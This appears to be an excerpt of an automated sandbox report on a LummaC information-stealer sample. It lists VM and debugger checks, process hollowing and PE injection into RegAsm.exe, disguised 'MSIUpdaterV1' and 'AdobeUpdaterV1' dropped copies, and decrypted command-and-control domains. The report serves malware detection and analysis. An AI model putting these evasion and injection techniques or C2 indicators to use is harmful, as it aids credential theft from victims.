Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_003AE66D FindFirstFileExW,FindNextFileW,FindClose,FindClose, 22_2_003AE66D
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_0012E66D FindFirstFileExW,FindNextFileW,FindClose,FindClose, 23_2_0012E66D
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WerFault.exe File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\
Source: C:\Windows\SysWOW64\WerFault.exe File opened: C:\ProgramData\Microsoft\Windows\
Source: C:\Windows\SysWOW64\WerFault.exe File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MSIUpdaterV1.exe_f9eb3d1e2eda166485f639133f6bde09db46edb_bdfd7a68_899606cd-84e4-4b77-a8a7-4c234ca106ec\
Source: C:\Windows\SysWOW64\WerFault.exe File opened: C:\ProgramData\Microsoft\Windows\WER\
Source: C:\Windows\SysWOW64\WerFault.exe File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue
Source: C:\Windows\SysWOW64\WerFault.exe File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_v6ggwc2fJXXgIu5f_1887f2cf649886fae0c2ea234d3f8ef03762663d_678a9ce0_5061925a-09f5-43b8-b876-e8a14283e34c\
Source: Amcache.hve.29.dr Binary or memory string: VMware
Source: RegAsm.exe, 0000002A.00000002.3509011004.000000000124B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWx
Source: RegAsm.exe, 00000028.00000002.2783994618.0000000001057000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWm
Source: Amcache.hve.29.dr Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: MSIUpdaterV1.exe, 00000009.00000003.2566360115.0000000001682000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}:
Source: OJa1BOigU3.exe, 00000000.00000002.2346129634.0000000001534000.00000004.00000020.00020000.00000000.sdmp, OJa1BOigU3.exe, 00000000.00000002.2346129634.00000000014E9000.00000004.00000020.00020000.00000000.sdmp, 3Q7v9y6Zw0a51Z43zHih.exe, 00000008.00000002.3505645957.0000000001D5F000.00000004.00000020.00020000.00000000.sdmp, MSIUpdaterV1.exe, 00000009.00000002.3506110613.0000000001694000.00000004.00000020.00020000.00000000.sdmp, MSIUpdaterV1.exe, 00000009.00000002.3506110613.000000000166A000.00000004.00000020.00020000.00000000.sdmp, MSIUpdaterV1.exe, 0000000A.00000002.3505760819.000000000173D000.00000004.00000020.00020000.00000000.sdmp, MSIUpdaterV1.exe, 0000000A.00000002.3505760819.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000011.00000002.2647878541.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, AdobeUpdaterV1.exe, 00000018.00000002.3505470905.000000000132D000.00000004.00000020.00020000.00000000.sdmp, AdobeUpdaterV1.exe, 00000018.00000002.3505470905.0000000001361000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: RegAsm.exe, 00000019.00000002.3510229323.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}6
Source: AdobeUpdaterV1.exe, 00000018.00000003.2428533823.0000000001340000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: Amcache.hve.29.dr Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: RegAsm.exe, 0000002C.00000002.3509342638.0000000001500000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000&
Source: OJa1BOigU3.exe, 00000000.00000002.2346129634.0000000001490000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000&`.=
Source: RegAsm.exe, 00000029.00000002.2784153638.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWuw
Source: Amcache.hve.29.dr Binary or memory string: vmci.sys
Source: OJa1BOigU3.exe, 00000000.00000002.2346129634.00000000014FA000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}V.=
Source: 3Q7v9y6Zw0a51Z43zHih.exe, 00000008.00000003.2395383877.0000000001D32000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}]
Source: Amcache.hve.29.dr Binary or memory string: VMware20,1
Source: Amcache.hve.29.dr Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.29.dr Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.29.dr Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.29.dr Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.29.dr Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.29.dr Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.29.dr Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.29.dr Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.29.dr Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.29.dr Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: RegAsm.exe, 00000019.00000002.3510229323.0000000000ED6000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000029.00000002.2783862547.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW8
Source: Amcache.hve.29.dr Binary or memory string: VMware Virtual USB Mouse
Source: AdobeUpdaterV1.exe, 00000018.00000002.3505470905.0000000001338000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: ?\#disk&ven_vmware&prouask#4&1656f219&0&0000f5-b6bf-11d0-94f2-00a08b
Source: Amcache.hve.29.dr Binary or memory string: vmci.syshbin
Source: Amcache.hve.29.dr Binary or memory string: VMware, Inc.
Source: RegAsm.exe, 0000002C.00000002.3509342638.000000000157A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: 3Q7v9y6Zw0a51Z43zHih.exe, 00000008.00000002.3505645957.0000000001CC0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000&.
Source: Amcache.hve.29.dr Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.29.dr Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.29.dr Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: OJa1BOigU3.exe, 00000000.00000003.1714652584.0000000001500000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}@<4
Source: Amcache.hve.29.dr Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.29.dr Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: OJa1BOigU3.exe, 00000000.00000003.1714652584.0000000001500000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}B/=
Source: RegAsm.exe, 00000011.00000002.2647689981.0000000000C7A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW`D
Source: Amcache.hve.29.dr Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.29.dr Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.29.dr Binary or memory string: vmci.syshbin`
Source: Amcache.hve.29.dr Binary or memory string: \driver\vmci,\driver\pci
Source: 3Q7v9y6Zw0a51Z43zHih.exe, 00000008.00000002.3505645957.0000000001D1D000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWP'
Source: Amcache.hve.29.dr Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: RegAsm.exe, 00000011.00000002.2647878541.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWNb
Source: RegAsm.exe, 0000002A.00000002.3509011004.000000000126F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWS
Source: Amcache.hve.29.dr Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: AdobeUpdaterV1.exe, 00000018.00000002.3505470905.0000000001353000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWI
Source: MSIUpdaterV1.exe, 00000009.00000002.3506110613.0000000001694000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000019.00000002.3510229323.0000000000F11000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002C.00000002.3509342638.000000000159A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWL
Source: OJa1BOigU3.exe, 00000000.00000003.2161668740.0000000005DF4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}C&5
Source: AdobeUpdaterV1.exe, 00000018.00000002.3505470905.00000000012D0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000&<
Source: OJa1BOigU3.exe, 00000000.00000002.2346129634.0000000001534000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWC,5
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Process information queried: ProcessInformation Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_0043B430 LdrInitializeThunk, 17_2_0043B430
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_0039B915 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 22_2_0039B915
Contains functionality to read the PEB
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_003AF146 mov eax, dword ptr fs:[00000030h] 22_2_003AF146
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_00497A30 mov eax, dword ptr fs:[00000030h] 22_2_00497A30
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_00497A30 mov eax, dword ptr fs:[00000030h] 22_2_00497A30
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_003A5B6D mov ecx, dword ptr fs:[00000030h] 22_2_003A5B6D
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_00421E50 mov eax, dword ptr fs:[00000030h] 22_2_00421E50
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_00421E50 mov eax, dword ptr fs:[00000030h] 22_2_00421E50
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_00421E50 mov eax, dword ptr fs:[00000030h] 22_2_00421E50
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_00421E50 mov eax, dword ptr fs:[00000030h] 22_2_00421E50
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_0012F146 mov eax, dword ptr fs:[00000030h] 23_2_0012F146
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_00125B6D mov ecx, dword ptr fs:[00000030h] 23_2_00125B6D
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_00217A30 mov eax, dword ptr fs:[00000030h] 23_2_00217A30
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_0039B5F0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 22_2_0039B5F0
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_0039B915 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 22_2_0039B915
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_003A1E2D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 22_2_003A1E2D
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_0011B5F0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 23_2_0011B5F0
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_0011B915 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 23_2_0011B915
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_00121E2D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 23_2_00121E2D
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Allocates memory in foreign processes
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Contains functionality to inject code into remote processes
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe Code function: 15_2_02F897F1 CreateProcessA,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,VirtualAllocEx,TerminateProcess,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread, 15_2_02F897F1
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
LummaC encrypted strings found
Source: U8cABsPhZFkKRrQ4rE0N.exe, 0000000F.00000002.2291557988.0000000003F85000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: boredimperissvieos.shop
Source: U8cABsPhZFkKRrQ4rE0N.exe, 0000000F.00000002.2291557988.0000000003F85000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: holicisticscrarws.shop
Source: U8cABsPhZFkKRrQ4rE0N.exe, 0000000F.00000002.2291557988.0000000003F85000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: sweetsquarediaslw.shop
Source: U8cABsPhZFkKRrQ4rE0N.exe, 0000000F.00000002.2291557988.0000000003F85000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: plaintediousidowsko.shop
Source: U8cABsPhZFkKRrQ4rE0N.exe, 0000000F.00000002.2291557988.0000000003F85000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: miniaturefinerninewjs.shop
Source: U8cABsPhZFkKRrQ4rE0N.exe, 0000000F.00000002.2291557988.0000000003F85000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: zippyfinickysofwps.shop
Source: U8cABsPhZFkKRrQ4rE0N.exe, 0000000F.00000002.2291557988.0000000003F85000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: obsceneclassyjuwks.shop
Source: U8cABsPhZFkKRrQ4rE0N.exe, 0000000F.00000002.2291557988.0000000003F85000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: acceptabledcooeprs.shop
Writes to foreign memory regions
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 440000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 443000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 456000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 99B008 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 55A000
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 582000
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 587000
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 592000
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 9CD008
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 55A000
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 582000
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 587000
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 592000
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 11C9008
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 55A000
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 582000
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 587000
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 592000
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: E68008
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 440000
